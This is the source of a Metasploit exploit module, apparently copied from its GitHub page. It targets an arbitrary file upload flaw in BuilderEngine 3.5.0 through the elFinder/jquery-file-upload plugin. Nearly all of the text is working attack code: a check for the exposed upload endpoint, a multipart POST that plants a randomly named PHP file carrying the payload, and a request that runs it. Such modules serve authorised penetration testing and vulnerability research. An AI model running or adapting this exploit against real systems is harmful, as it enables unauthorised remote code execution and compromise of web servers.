-
Notifications
You must be signed in to change notification settings - Fork 14.1k
/
builderengine_upload_exec.rb
108 lines (96 loc) · 3.15 KB
/
builderengine_upload_exec.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "BuilderEngine Arbitrary File Upload Vulnerability and execution",
'Description' => %q{
This module exploits a vulnerability found in BuilderEngine 3.5.0
via elFinder 2.0. The jquery-file-upload plugin can be abused to upload a malicious
file, which would result in arbitrary remote code execution under the context of
the web server.
},
'License' => MSF_LICENSE,
'Author' =>
[
'metanubix', # PoC
'Marco Rivoli' # Metasploit
],
'References' =>
[
['EDB', '40390']
],
'Payload' =>
{
'BadChars' => "\x00"
},
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
['BuilderEngine 3.5.0', {}]
],
'Privileged' => false,
'DisclosureDate' => '2016-09-18',
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to BuilderEngine', '/'])
])
end
def check
uri = target_uri.path
uri << '/' if uri[-1,1] != '/'
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'themes/dashboard/assets/plugins/jquery-file-upload/server/php/')
})
if res && res.code == 200 && !res.body.blank?
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end
def exploit
uri = target_uri.path
peer = "#{rhost}:#{rport}"
php_pagename = rand_text_alpha(8 + rand(8)) + '.php'
data = Rex::MIME::Message.new
payload_encoded = Rex::Text.rand_text_alpha(1)
payload_encoded << "<?php "
payload_encoded << payload.encoded
payload_encoded << " ?>\r\n"
data.add_part(payload_encoded, 'application/octet-stream', nil, "form-data; name=\"files[]\"; filename=\"#{php_pagename}\"")
post_data = data.to_s
res = send_request_cgi({
'uri' => normalize_uri(uri,'themes/dashboard/assets/plugins/jquery-file-upload/server/php/'),
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data
})
if res
if res.code == 200 && res.body =~ /files|#{php_pagename}/
print_good("Our payload is at: #{php_pagename}. Calling payload...")
register_file_for_cleanup(php_pagename)
else
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to deploy payload, server returned #{res.code}")
end
else
fail_with(Failure::Unknown, 'ERROR')
end
print_status("Calling payload...")
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(uri,'files/', php_pagename)
)
end
end